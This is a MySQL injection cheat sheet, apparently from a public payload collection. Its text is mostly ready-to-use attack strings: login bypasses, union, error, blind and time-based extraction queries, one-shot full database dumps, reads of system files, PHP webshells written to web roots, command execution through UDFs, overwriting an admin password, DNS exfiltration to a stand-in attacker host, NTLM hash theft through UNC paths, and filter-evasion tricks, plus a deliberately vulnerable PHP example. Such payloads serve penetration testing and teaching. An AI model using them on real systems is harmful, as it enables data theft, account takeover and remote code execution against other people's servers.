Mysql Injection

MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.

Summary

MYSQL Default Databases

Name

Description

mysql

Requires root privileges

information_schema

Available from version 5 and higher

MYSQL Comments

MySQL comments are annotations in SQL code that are ignored by the MySQL server during execution.

Type

Description

#

Hash comment

/* MYSQL Comment */

C-style comment

/*! MYSQL Special SQL */

Special SQL

/*!32302 10*/

Comment for MYSQL version 3.23.02

--

SQL comment

;%00

Nullbyte

Backtick

MYSQL Testing Injection

Strings: Query like SELECT * FROM Table WHERE id = 'FUZZ';
```
' False
'' True
" False
"" True
\ False
\\ True
```

Numeric: Query like SELECT * FROM Table WHERE id = FUZZ;

AND 1     True
AND 0     False
AND true True
AND false False
1-false     Returns 1 if vulnerable
1-true     Returns 0 if vulnerable
1*56     Returns 56 if vulnerable
1*56     Returns 1 if not vulnerable

Login: Query like SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';
```
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+
```

MYSQL Union Based

Detect Columns Number

To successfully perform a union-based SQL injection, an attacker needs to know the number of columns in the original query.

Iterative NULL Method

Systematically increase the number of columns in the UNION SELECT statement until the payload executes without errors or produces a visible change. Each iteration checks the compatibility of the column count.

UNION SELECT NULL;--
UNION SELECT NULL, NULL;-- 
UNION SELECT NULL, NULL, NULL;--

ORDER BY Method

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

ORDER BY

GROUP BY

Result

ORDER BY 1--+

GROUP BY 1--+

True

ORDER BY 2--+

GROUP BY 2--+

True

ORDER BY 3--+

GROUP BY 3--+

True

ORDER BY 4--+

GROUP BY 4--+

False

Since the result is false for ORDER BY 4, it means the SQL query is only having 3 columns. In the UNION based SQL injection, you can SELECT arbitrary data to display on the page: -1' UNION SELECT 1,2,3--+.

Similar to the previous method, we can check the number of columns with one request if error showing is enabled.

ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+ # Unknown column '4' in 'order clause'

LIMIT INTO Method

This method is effective when error reporting is enabled. It can help determine the number of columns in cases where the injection point occurs after a LIMIT clause.

Payload

Error

1' LIMIT 1,1 INTO @--+

The used SELECT statements have a different number of columns

1' LIMIT 1,1 INTO @,@--+

The used SELECT statements have a different number of columns

1' LIMIT 1,1 INTO @,@,@--+

No error means query uses 3 columns

Since the result doesn't show any error it means the query uses 3 columns: -1' UNION SELECT 1,2,3--+.

Extract Database With Information_Schema

This query retrieves the names of all schemas (databases) on the server.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata

This query retrieves the names of all tables within a specified schema (the schema name is represented by PLACEHOLDER).

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,table_name,0x7C) FROM information_schema.tables WHERE table_schema=PLACEHOLDER

This query retrieves the names of all columns in a specified table.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,column_name,0x7C) FROM information_schema.columns WHERE table_name=...

This query aims to retrieve data from a specific table.

UNION SELECT 1,2,3,4,...,GROUP_CONCAT(0x7c,data,0x7C) FROM ...

Extract Columns Name Without Information_Schema

Method for MySQL >= 4.1.

Payload

Output

(1)and(SELECT * from db.users)=(1)

Operand should contain 4 column(s)

1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)

Column 'id' cannot be null

Method for MySQL 5

Payload

Output

UNION SELECT * FROM (SELECT * FROM users JOIN users b)a

Duplicate column name 'id'

UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a

Duplicate column name 'name'

UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a

Data

Extract Data Without Columns Name

Extracting data from the 4th column without knowing its name.

SELECT `4` FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)DBNAME;

Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]

MariaDB [dummydb]> SELECT AUTHOR_ID,TITLE FROM POSTS WHERE AUTHOR_ID=-1 UNION SELECT 1,(SELECT CONCAT(`3`,0X3A,`4`) FROM (SELECT 1,2,3,4,5,6 UNION SELECT * FROM USERS)A LIMIT 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+

MYSQL Error Based

Name

Payload

GTID_SUBSET

AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -

JSON_KEYS

AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -

EXTRACTVALUE

AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -

UPDATEXML

AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -

EXP

AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -

OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -

NAME_CONST

AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--

UUID_TO_BIN

AND UUID_TO_BIN(version())='1

MYSQL Error Based - Basic

Works with MySQL >= 4.1

(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))
'+(SELECT 1 AND ROW(1,1)>(SELECT COUNT(*),CONCAT(CONCAT(@@VERSION),0X3A,FLOOR(RAND()*2))X FROM (SELECT 1 UNION SELECT 2)A GROUP BY X LIMIT 1))+'

MYSQL Error Based - UpdateXML Function

AND UPDATEXML(rand(),CONCAT(CHAR(126),version(),CHAR(126)),null)-
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND UPDATEXML(rand(),CONCAT(0x3a,(SELECT CONCAT(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter to read:

UPDATEXML(null,CONCAT(0x0a,version()),null)-- -
UPDATEXML(null,CONCAT(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

MYSQL Error Based - Extractvalue Function

Works with MySQL >= 5.1

?id=1 AND EXTRACTVALUE(RAND(),CONCAT(CHAR(126),VERSION(),CHAR(126)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),table_name,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND EXTRACTVALUE(RAND(),CONCAT(0X3A,(SELECT CONCAT(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--

MYSQL Error Based - NAME_CONST function (only for constants)

Works with MySQL >= 5.0

?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

MYSQL Blind

MYSQL Blind With Substring Equivalent

Function

Example

Description

SUBSTR

SUBSTR(version(),1,1)=5

Extracts a substring from a string (starting at any position)

SUBSTRING

SUBSTRING(version(),1,1)=5

Extracts a substring from a string (starting at any position)

RIGHT

RIGHT(left(version(),1),1)=5

Extracts a number of characters from a string (starting from right)

MID

MID(version(),1,1)=4

Extracts a substring from a string (starting at any position)

LEFT

LEFT(version(),1)=4

Extracts a number of characters from a string (starting from left)

Examples of Blind SQL injection using SUBSTRING or another equivalent function:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
?id=1 AND ASCII(LOWER(SUBSTR(version(),1,1)))=51

MYSQL Blind Using a Conditional Statement

TRUE: if @@version starts with a 5:

2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error

FALSE: if @@version starts with a 4:

2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK

MYSQL Blind With MAKE_SET

AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(version()))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(VALUE_TO_EXTRACT<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(VALUE_TO_EXTRACT<ascii(substring(concat(login,password),POS,1)),1)

MYSQL Blind With LIKE

In MySQL, the LIKE operator can be used to perform pattern matching in queries. The operator allows the use of wildcard characters to match unknown or partial string values. This is especially useful in a blind SQL injection context when an attacker does not know the length or specific content of the data stored in the database.

Wildcard Characters in LIKE:

Percentage Sign (%): This wildcard represents zero, one, or multiple characters. It can be used to match any sequence of characters.
Underscore (_): This wildcard represents a single character. It's used for more precise matching when you know the structure of the data but not the specific character at a particular position.

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
SELECT * FROM products WHERE product_name LIKE '%user_input%'

MySQL Blind with REGEXP

Blind SQL injection can also be performed using the MySQL REGEXP operator, which is used for matching a string against a regular expression. This technique is particularly useful when attackers want to perform more complex pattern matching than what the LIKE operator can offer.

Payload

Description

' OR (SELECT username FROM users WHERE username REGEXP '^.{8,}$') --

Checking length

' OR (SELECT username FROM users WHERE username REGEXP '[0-9]') --

Checking for the presence of digits

' OR (SELECT username FROM users WHERE username REGEXP '^a[a-z]') --

Checking for data starting by "a"

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

MySQL 4/5 : BENCHMARK()

+BENCHMARK(40000000,SHA1(1337))+
'+BENCHMARK(3200,SHA1(1))+'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))

MySQL 5: SLEEP()

RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR
AND SLEEP(10)=0
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)

Using SLEEP in a Subselect

Extracting the length of the data.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '%')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '___')# 
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE '_____')#

Extracting the first character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'A____')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'S____')#

Extracting the second character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SA___')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SW___')#

Extracting the third character.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWA__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWB__')#
1 AND (SELECT SLEEP(10) FROM DUAL WHERE DATABASE() LIKE 'SWI__')#

Extracting column_name.

1 AND (SELECT SLEEP(10) FROM DUAL WHERE (SELECT table_name FROM information_schema.columns WHERE table_schema=DATABASE() AND column_name LIKE '%pass%' LIMIT 0,1) LIKE '%')#

Using Conditional Statements

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL DIOS - Dump in One Shot

DIOS (Dump In One Shot) SQL Injection is an advanced technique that allows an attacker to extract entire database contents in a single, well-crafted SQL injection payload. This method leverages the ability to concatenate multiple pieces of data into a single result set, which is then returned in one response from the database.

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

SecurityIdiots

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Profexer

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

Dr.Z3r0

(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

M@dBl00d

(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

Zen

+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

sharik

(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)

MYSQL Current Queries

INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment.

The PROCESSLIST table contains several important columns, each providing details about the current processes. Common columns include:

ID : The process identifier.
USER : The MySQL user who is running the process.
HOST : The host from which the process was initiated.
DB : The database the process is currently accessing, if any.
COMMAND : The type of command the process is executing (e.g., Query, Sleep).
TIME : The time in seconds that the process has been running.
STATE : The current state of the process.
INFO : The text of the statement being executed, or NULL if no statement is being executed.

SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;

USER

HOST

COMMAND

TIME

STATE

INFO

root

localhost

testdb

Query

executing

SELECT * FROM some_table

app_uset

192.168.0.101

appdb

Sleep

300

sleeping

NULL

gues_user

example.com:3360

NULL

Connect

connecting

NULL

UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

Dump in one shot query to extract the whole content of the table.

UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #

MYSQL Read Content of a File

Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));

If you are root on the database, you can re-enable the LOAD_FILE using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MYSQL Command Execution

WEBSHELL - OUTFILE Method

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

WEBSHELL - DUMPFILE Method

[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

COMMAND - UDF Library

First you need to check if the UDF are installed on the server.

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use functions such as sys_exec and sys_eval.

$ mysql -u root -p mysql
Enter password: [...]

mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

MYSQL INSERT

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:

attacker_dummy@example.com", "P@ssw0rd"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" --

The query would look like this:

INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "BCRYPT_HASH"), ("admin@example.com", "P@ssw0rd") ON DUPLICATE KEY UPDATE password="P@ssw0rd" -- ", "BCRYPT_HASH_OF_YOUR_PASSWORD_INPUT");

This query will insert a row for the user "attacker_dummy@example.com". It will also insert a row for the user "admin@example.com".

Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the password column of the already existing row to "P@ssw0rd". After this, we can simply authenticate with "admin@example.com" and the password "P@ssw0rd".

MYSQL Truncation

In MYSQL "admin" and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null

Payload: username = "admin a"

MYSQL Out of Band

SELECT @@version INTO OUTFILE '\\\\192.168.0.100\\temp\\out.txt';
SELECT @@version INTO DUMPFILE '\\\\192.168.0.100\\temp\\out.txt;

DNS Exfiltration

SELECT LOAD_FILE(CONCAT('\\\\',VERSION(),'.hacker.site\\a.txt'));
SELECT LOAD_FILE(CONCAT(0x5c5c5c5c,VERSION(),0x2e6861636b65722e736974655c5c612e747874))

UNC Path - NTLM Hash Stealing

The term "UNC path" refers to the Universal Naming Convention path used to specify the location of resources such as shared files or devices on a network. It is commonly used in Windows environments to access files over a network using a format like \\server\share\file.

SELECT LOAD_FILE('\\\\error\\abc');
SELECT LOAD_FILE(0x5c5c5c5c6572726f725c5c616263);
SELECT '' INTO DUMPFILE '\\\\error\\abc';
SELECT '' INTO OUTFILE '\\\\error\\abc';
LOAD DATA INFILE '\\\\error\\abc' INTO TABLE DATABASE.TABLE_NAME;

⚠️ Don't forget to escape the '\\'.

MYSQL WAF Bypass

Alternative to Information Schema

information_schema.tables alternative

SELECT * FROM mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> SHOW TABLES IN dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Alternative to VERSION

mysql> SELECT @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> SELECT @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> SELECT @@GLOBAL.VERSION;
+------------------+
| @@GLOBAL.VERSION |
+------------------+
| 8.0.27           |
+------------------+

Alternative to GROUP_CONCAT

Requirement: MySQL >= 5.7.22

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

group_concat() = 1024 symbols
json_arrayagg() > 16,000,000 symbols

SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

Scientific Notation

In MySQL, the e notation is used to represent numbers in scientific notation. It's a way to express very large or very small numbers in a concise format. The e notation consists of a number followed by the letter e and an exponent. The format is: base 'e' exponent.

For example:

1e3 represents 1 x 10^3 which is 1000.
1.5e3 represents 1.5 x 10^3 which is 1500.
2e-3 represents 2 x 10^-3 which is 0.002.

The following queries are equivalent:

SELECT table_name FROM information_schema 1.e.tables
SELECT table_name FROM information_schema .tables

In the same way, the common payload to bypass authentication ' or ''=' is equivalent to ' or 1.e('')=' and 1' or 1.e(1) or '1'='1. This technique can be used to obfuscate queries to bypass WAF, for example: 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

Conditional Comments

MySQL conditional comments are enclosed within /*! ... */ and can include a version number to specify the minimum version of MySQL that should execute the contained code. The code inside this comment will be executed only if the MySQL version is greater than or equal to the number immediately following the /*!. If the MySQL version is less than the specified number, the code inside the comment will be ignored.

/*!12345UNION*/: This means that the word UNION will be executed as part of the SQL statement if the MySQL version is 12.345 or higher.
/*!31337SELECT*/: Similarly, the word SELECT will be executed if the MySQL version is 31.337 or higher.

Examples: /*!12345UNION*/, /*!31337SELECT*/

Wide Byte Injection (GBK)

Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term "wide byte" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.

The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.

Several characters can be used to trigger the injection.

%bf%27: This is a URL-encoded representation of the byte sequence 0xbf27. In the GBK character set, 0xbf27 decodes to a valid multibyte character followed by a single quote ('). When MySQL encounters this sequence, it interprets it as a single valid GBK character followed by a single quote, effectively ending the string.
%bf%5c: Represents the byte sequence 0xbf5c. In GBK, this decodes to a valid multi-byte character followed by a backslash (\). This can be used to escape the next character in the sequence.
%a1%27: Represents the byte sequence 0xa127. In GBK, this decodes to a valid multi-byte character followed by a single quote (').

A lot of payloads can be created such as:

%A8%27 OR 1=1;--
%8C%A8%27 OR 1=1--
%bf' OR 1=1 -- --

Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());

Here's a breakdown of how the wide byte injection works:

For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\'' LIMIT 0,1.

However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\'' LIMIT 0,1.

In the GBK character set, the sequence %df%5c translates to the character 連. So, the SQL query becomes: SELECT * FROM users WHERE id='1連'' LIMIT 0,1. Here, the wide byte character 連 effectively "eating" the added escape character, allowing for SQL injection.

Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1連' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.

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hashtagMYSQL Default Databases

hashtagMYSQL Comments

hashtagMYSQL Testing Injection

hashtagMYSQL Union Based

hashtagDetect Columns Number

hashtagIterative NULL Method

hashtagORDER BY Method

hashtagLIMIT INTO Method

hashtagExtract Database With Information_Schema

hashtagExtract Columns Name Without Information_Schema

hashtagExtract Data Without Columns Name

hashtagMYSQL Error Based

hashtagMYSQL Error Based - Basic

hashtagMYSQL Error Based - UpdateXML Function

hashtagMYSQL Error Based - Extractvalue Function

hashtagMYSQL Error Based - NAME_CONST function (only for constants)

hashtagMYSQL Blind

hashtagMYSQL Blind With Substring Equivalent

hashtagMYSQL Blind Using a Conditional Statement

hashtagMYSQL Blind With MAKE_SET

hashtagMYSQL Blind With LIKE

hashtagMySQL Blind with REGEXP

hashtagMYSQL Time Based

hashtagUsing SLEEP in a Subselect

hashtagUsing Conditional Statements

hashtagMYSQL DIOS - Dump in One Shot

hashtagMYSQL Current Queries

hashtagMYSQL Read Content of a File

hashtagMYSQL Command Execution

hashtagWEBSHELL - OUTFILE Method

hashtagWEBSHELL - DUMPFILE Method

hashtagCOMMAND - UDF Library

hashtagMYSQL INSERT

hashtagMYSQL Truncation

hashtagMYSQL Out of Band

hashtagDNS Exfiltration

hashtagUNC Path - NTLM Hash Stealing

hashtagMYSQL WAF Bypass

hashtagAlternative to Information Schema

hashtagAlternative to VERSION

hashtagAlternative to GROUP_CONCAT

hashtagScientific Notation

hashtagConditional Comments

hashtagWide Byte Injection (GBK)

hashtagReferences

Summary

MYSQL Default Databases

MYSQL Comments

MYSQL Testing Injection

MYSQL Union Based

Detect Columns Number

Iterative NULL Method

ORDER BY Method

LIMIT INTO Method

Extract Database With Information_Schema

Extract Columns Name Without Information_Schema

Extract Data Without Columns Name

MYSQL Error Based

MYSQL Error Based - Basic

MYSQL Error Based - UpdateXML Function

MYSQL Error Based - Extractvalue Function

MYSQL Error Based - NAME_CONST function (only for constants)

MYSQL Blind

MYSQL Blind With Substring Equivalent

MYSQL Blind Using a Conditional Statement

MYSQL Blind With MAKE_SET

MYSQL Blind With LIKE

MySQL Blind with REGEXP

MYSQL Time Based

Using SLEEP in a Subselect

Using Conditional Statements

MYSQL DIOS - Dump in One Shot

MYSQL Current Queries

MYSQL Read Content of a File

MYSQL Command Execution

WEBSHELL - OUTFILE Method

WEBSHELL - DUMPFILE Method

COMMAND - UDF Library

MYSQL INSERT

MYSQL Truncation

MYSQL Out of Band

DNS Exfiltration

UNC Path - NTLM Hash Stealing

MYSQL WAF Bypass

Alternative to Information Schema

Alternative to VERSION

Alternative to GROUP_CONCAT

Scientific Notation

Conditional Comments

Wide Byte Injection (GBK)

References